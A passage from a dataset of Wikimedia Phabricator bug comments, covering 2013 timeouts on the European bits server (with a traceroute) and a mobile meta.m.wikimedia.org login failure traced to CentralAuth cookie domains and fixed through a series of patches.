+> almost never return anything. The requests time out instead. This leaves all
+> Mediawiki projects (including Commons) naked without any CSS (except for my
+> user CSS).
+> 
+
+I would note that your user css is served via bits. What urls specifically are timing out, or is it random?
+
+
+>There was an outage on Wednesday, 13:30 - 14:00 UTC, due to a memcached server
+going offline.
+
+Shouldn't these sorts of things show up in the server admin log...",,,1368151677,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+212761,http connections to European Bits server often time out for some users since ~2013-05-06,"(In reply to comment #2)
+> Multiple users reported the same problem.
+
+URLs welcome, as I haven't seen anything on the usual Commons forums that I try to follow.
+
+
+There was an outage on Wednesday, 13:30 - 14:00 UTC, due to a memcached server going offline. ""As usual this caused all kinds of cascading failures on other clusters such as Squid/Varnish. When not overloaded, these clusters would only serve cached pages at that point.""
+That would not cover ""since 2 days"" but that's what people immediately mentioned when I brought up this bug report in the operations channel.
+
+
+I'm currently also in Germany and I ran ""mtr"" on my Linux machine for a while:
+
+
+        My traceroute  [v0.82]
+embrace.foo (0.0.0.0)                             Fri May 10 02:59:33 2013
+Resolver: Received error response 2. (server failure)er of fields   quit
+                                  Packets               Pings
+ Host                         Loss%   Snt   Last   Avg  Best  Wrst StDev
+ 1. fritz.box                  0.0%   158    1.1   9.1   1.0 606.0  58.0
+ 2. 217.0.117.142              0.0%   158   20.1  30.4  19.1 529.5  48.8
+ 3. 87.186.195.6               0.0%   158   22.3  31.6  20.4 434.4  39.0
+ 4. hh-ea4-i.HH.DE.NET.DTAG.DE 0.6%   158   27.7  41.4  27.0 338.0  35.6
+ 5. 194.25.208.234             0.0%   158   30.2  45.8  27.7 1023.  81.4
+    80.156.160.242
+    80.150.168.162
+    80.156.163.126
+ 6. hbg-bb1-link.telia.net     0.0%   158   27.4  48.4  27.2 999.9  80.3
+    hbg-bb1-link.telia.net
+    hbg-bb1-link.telia.net
+ 7. adm-bb3-link.telia.net     0.0%   158   33.5  50.3  32.6 1029. 102.1
+    adm-bb3-link.telia.net
+    adm-bb3-link.telia.net
+    adm-bb3-link.telia.net
+    adm-bb3-link.telia.net
+    adm-bb3-link.telia.net
+    adm-bb3-link.telia.net
+    adm-bb3-link.telia.net
+ 8. adm-b5-link.telia.net      0.0%   158   35.1  51.0  33.9 943.4  92.1
+ 9. wikimedia-ic-129908-
+            adm-b3.c.telia.net 5.7%   158   37.0  49.0  34.6 846.6  68.5
+10. bits.esams.wikimedia.org   0.0%   158   35.2  47.8  35.2 746.2  69.9",,,1368148607,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,True,,,-16,True,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+212757,http connections to European Bits server often time out for some users since ~2013-05-06,"Raising priority then, adding the 'ops' keyword.",,,1368116770,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0
+212750,http connections to European Bits server often time out for some users since ~2013-05-06,"**mr.heat** wrote:
+
+To let you know: It's much better now but not solved. Currently it feels like 5% of the requests in the German Wikipedia time out. Nothing happens for a minute and a ""server does not respond"" is shown. When I try again it works most of the time. Some edits are lost because of this. Multiple users reported the same problem.",,,1368116485,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0
+212742,http connections to European Bits server often time out for some users since ~2013-05-06,"It seems completely down at the moment:
+
+Failed to load resource: the server responded with a status of 503 (Service Unavailable)",,,1368020620,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5k6rek77iqe43ozlqryg,task_subcomment,,True,c2,1,False,,,-16,True,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+49647,meta.m.wikimedia.org user login doesn't work,"Attempting to log in via <https://meta.m.wikimedia.org/wiki/Special:UserLogin> does not work.
+
+I input my username and password, submit it, the site says ""Login successful"", but when I try to visit <https://meta.m.wikimedia.org/wiki/Special:Watchlist> or other parts of the site, it says ""Please log in to view or edit items on your watchlist.""
+
+I'm able to log in via <https://en.m.wikipedia.org/wiki/Special:UserLogin>. This problem seems specific to meta.m.wikimedia.org.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1366901640,1455156167.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-oopmckue4qzl6hd5gznh,task_description,resolved,True,c2,1,True,False,False,-18,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+708642,meta.m.wikimedia.org user login doesn't work,"Change 303744 merged by jenkins-bot:
+Apply mobile cookie domain fix to beta
+
+[[https://gerrit.wikimedia.org/r/303744]]",,,1470761602,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,153,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+708324,meta.m.wikimedia.org user login doesn't work,"Change 303744 had a related patch set uploaded (by Gergő Tisza):
+Apply mobile cookie domain fix to beta
+
+[[https://gerrit.wikimedia.org/r/303744]]
+",,,1470712347,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,153,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+607913,meta.m.wikimedia.org user login doesn't work,Group1 has returned 1.27.0-wmf.13 and logins via commons.m and meta.m are working again.,,,1455156167,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,True,,,128,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+607900,meta.m.wikimedia.org user login doesn't work,"Change 269859 merged by jenkins-bot:
+Allow changing cookie options in WebResponseSetCookie hook
+
+[[https://gerrit.wikimedia.org/r/269859]]",,,1455155010,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+607898,meta.m.wikimedia.org user login doesn't work,"Change 269881 merged by jenkins-bot:
+Better hack for T49647, for real
+
+[[https://gerrit.wikimedia.org/r/269881]]",,,1455154462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+607845,meta.m.wikimedia.org user login doesn't work,"Change 269881 had a related patch set uploaded (by Anomie):
+Better hack for T49647, for real
+
+[[https://gerrit.wikimedia.org/r/269881]]
+",,,1455149295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+607829,meta.m.wikimedia.org user login doesn't work,This is now blocking 1.27.0-wmf.13 being re-deployed to group1 (non-wikipedia) wikis.,,,1455147523,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,True,,,128,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+607801,meta.m.wikimedia.org user login doesn't work,"Change 269861 merged by Ori.livneh:
+Better hack for T49647
+
+[[https://gerrit.wikimedia.org/r/269861]]",,,1455145901,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+607790,meta.m.wikimedia.org user login doesn't work,"Change 269863 merged by Ori.livneh:
+Allow changing cookie options in WebResponseSetCookie hook
+
+[[https://gerrit.wikimedia.org/r/269863]]",,,1455145494,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+607789,meta.m.wikimedia.org user login doesn't work,"Change 269864 merged by Ori.livneh:
+Allow changing cookie options in WebResponseSetCookie hook
+
+[[https://gerrit.wikimedia.org/r/269864]]",,,1455145487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+607785,meta.m.wikimedia.org user login doesn't work,"Change 269864 had a related patch set uploaded (by BryanDavis):
+Allow changing cookie options in WebResponseSetCookie hook
+
+[[https://gerrit.wikimedia.org/r/269864]]
+",,,1455145246,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+607782,meta.m.wikimedia.org user login doesn't work,"Change 269863 had a related patch set uploaded (by BryanDavis):
+Allow changing cookie options in WebResponseSetCookie hook
+
+[[https://gerrit.wikimedia.org/r/269863]]
+",,,1455145223,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+607779,meta.m.wikimedia.org user login doesn't work,"Change 269861 had a related patch set uploaded (by Anomie):
+Better hack for T49647
+
+[[https://gerrit.wikimedia.org/r/269861]]
+",,,1455144990,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+607774,meta.m.wikimedia.org user login doesn't work,"Change 269859 had a related patch set uploaded (by BryanDavis):
+Allow changing cookie options in WebResponseSetCookie hook
+
+[[https://gerrit.wikimedia.org/r/269859]]
+",,,1455144638,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+607759,meta.m.wikimedia.org user login doesn't work,"The hack you put in place (changing `$wgCentralAuthCookieDomain` in the `EnterMobileMode` hook) doesn't work anymore with SessionManager, because CentralAuthSessionProvider reads the global when it's constructed in Setup.php and doesn't check it again.
+
+One fix would be to get `$wgCentralAuthCookieDomain` set earlier, by the SetupAfterCache hook at the latest. But when I tried that as a local hack, things blew up because `MobileContext::shouldDisplayMobileView()` blows up if called that early.
+
+Another fix would be to adjust the the WebResponseSetCookie hook to pass `$options` by reference, and then have MobileFrontend hack up `$options['domain']` when applicable.
+
+Or you could try to figure out some hack to make all the SessionProviders reload their configurations. That would be extremely ugly, though.",,,1455144063,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,True,,,128,True,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0
+226444,meta.m.wikimedia.org user login doesn't work,"(In reply to comment #16)
+> Ah, right. This is bug 14407 comment 1.
+> 
+> I thought you said incubator.wikimedia.org worked, though. Shouldn't it also
+> be
+> broken?
+
+Nothing SHOULD be broken :p But to the heart of your question, incubator is not present in the exceptions made in configuration - only meta and commons are covered; species and incubator are not. I haven't dug sufficiently through code/configuration to know why these were left alone, but they appear to work fine (as in cookies get set for the appropriate domains - not incubator.wikimedia.org, nor .wikimedia.org), so there doesn't seem to be any issue with them as far as I can tell.",,,1367515899,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,1,0,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1
+226439,meta.m.wikimedia.org user login doesn't work,"Deployed, works.",,,1367500047,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+226436,meta.m.wikimedia.org user login doesn't work,"(In reply to comment #13)
+> The aforementioned configuration forces login cookies for meta and commons to
+> use their full explicit domains to prevent security issues for other
+> wikimedia.org subdomains (like, those of chapters, etc). That means rather
+> than setting login cookies for .wikimedia.org, we explicitly set login cookies
+> for commons.wikimedia.org and meta.wikimedia.org; which will not be accessible
+> from commons.m.wikimedia.org or meta.m.wikimedia.org.
+
+Ah, right. This is bug 14407 comment 1.
+
+I thought you said incubator.wikimedia.org worked, though. Shouldn't it also be broken?",,,1367459380,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,True,,,-17,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+226430,meta.m.wikimedia.org user login doesn't work,Whoops - accidentally reassigned to CentralAuth component even though Chris Steipp suggested we keep it as MobileFrontend.,,,1367455274,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+226424,meta.m.wikimedia.org user login doesn't work,Related URL: https://gerrit.wikimedia.org/r/61941 (Gerrit Change I8d62245cb2764790e0e0fb2ade06f52a53a383c3),,,1367455139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+226418,meta.m.wikimedia.org user login doesn't work,"So, CentralAuth sets login cookies for most domains at the topmost level (eg .wikipedia.org as opposed to en.wikipedia.org), which works great with our domain scheme for mobile domains - that is, setting a cookie for .wikipedia.org will be usable by en.m.wikipedia.org as well as en.wikipedia.org.
+
+The aforementioned configuration forces login cookies for meta and commons to use their full explicit domains to prevent security issues for other wikimedia.org subdomains (like, those of chapters, etc). That means rather than setting login cookies for .wikimedia.org, we explicitly set login cookies for commons.wikimedia.org and meta.wikimedia.org; which will not be accessible from commons.m.wikimedia.org or meta.m.wikimedia.org.
+
+One possible solution would be to use the 'EnterMobileMode' hook to override $wgCentralAuthCookieDomain. Failing that, Chris Steipp suggested possibly adding a hook in CentralAuth to allow for mucking around with domain names, though that may be even uglier. I'll submit a patch for config to override $wgCentralAuthCookieDomain for commons/meta on mobile view.",,,1367454688,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+226409,meta.m.wikimedia.org user login doesn't work,"I have a feeling this is related to the domain handling/""don't autologin to self"" stuff in CommonSettings.php:
+https://gerrit.wikimedia.org/r/gitweb?p=operations/mediawiki-config.git;a=blob;f=wmf-config/CommonSettings.php;h=e48ef50da6e886f17fad0b249b1f224f34f35b85;hb=HEAD#l1479
+
+I'll try and take a closer look later.",,,1367452694,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0
+226403,meta.m.wikimedia.org user login doesn't work,"Created attachment 12231
+No problem on incubator
+
+I thought this problem might be plaguing wikimedia.org projects, but incubator.m.wikimedia.org works just fine. My best guess is something wonky in CentralAuth rather than MobileFrontend.
+
+**Attached**: {F10874}",,,1367451389,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1
+226393,meta.m.wikimedia.org user login doesn't work,"Created attachment 12230
+Similar behavior on commons.m.wikimedia.org
+
+Incidentally, the same behavior is present on commons.m.wikimedia.org (a little harder to make happen since we don't have the automatic redirect enabled for commonswiki, but doable). You can see the same lack of a centralauth_User and centralauth_Session cookie for commons.
+
+**Attached**: {F10873}",,,1367451251,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+226381,meta.m.wikimedia.org user login doesn't work,"When I log in via meta.m.wikimedia.org, there are no centralauth_User or centralauth_Sesssion cookies set for meta.m.wikimedia.org (or .wikimedia.org or meta anything), which must be the problem. (See attached screenshot - I've sorted the cookies by domain to make it clearer). Incidentally, you'll notice a JS error, though I'm pretty sure that's unrelated to this problem - rather, it's related to a gadget I use on metawiki which presumably is unsupported on the mobile site.
+
+I've also attached a screenshot of cookies that get set when I log in to http://meta.wikimedia.org (desktop version), which shows centralauth_User and centralauth_Session cookies getting set for '.meta.wikimedia.org'",,,1367450813,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0,1,0,0,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+226377,meta.m.wikimedia.org user login doesn't work,"Created attachment 12229
+centralauth cookies for meta in desktop mode
+
+**Attached**: {F10872}",,,1367450791,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+226373,meta.m.wikimedia.org user login doesn't work,"Created attachment 12228
+No centralauth cookies for meta in mobile mode post-login
+
+**Attached**: {F10871}",,,1367450760,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+226369,meta.m.wikimedia.org user login doesn't work,"I can replicate on Firefox.
+
+Since this works on other wikis it's likely to be a server configuration rather than a problem with the MobileFrontend extension.
+
+Can we replicate this on any other wikis?
+
+Interestingly, if you look at the left menu on the page which says ""Return to Watchlist"" it shows you as logged in (you can see a logout) so it seems to reset on the next page visit. I suspect a cookie is being discarded during the login process.",,,1367253849,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+226364,meta.m.wikimedia.org user login doesn't work,"(In reply to comment #4)
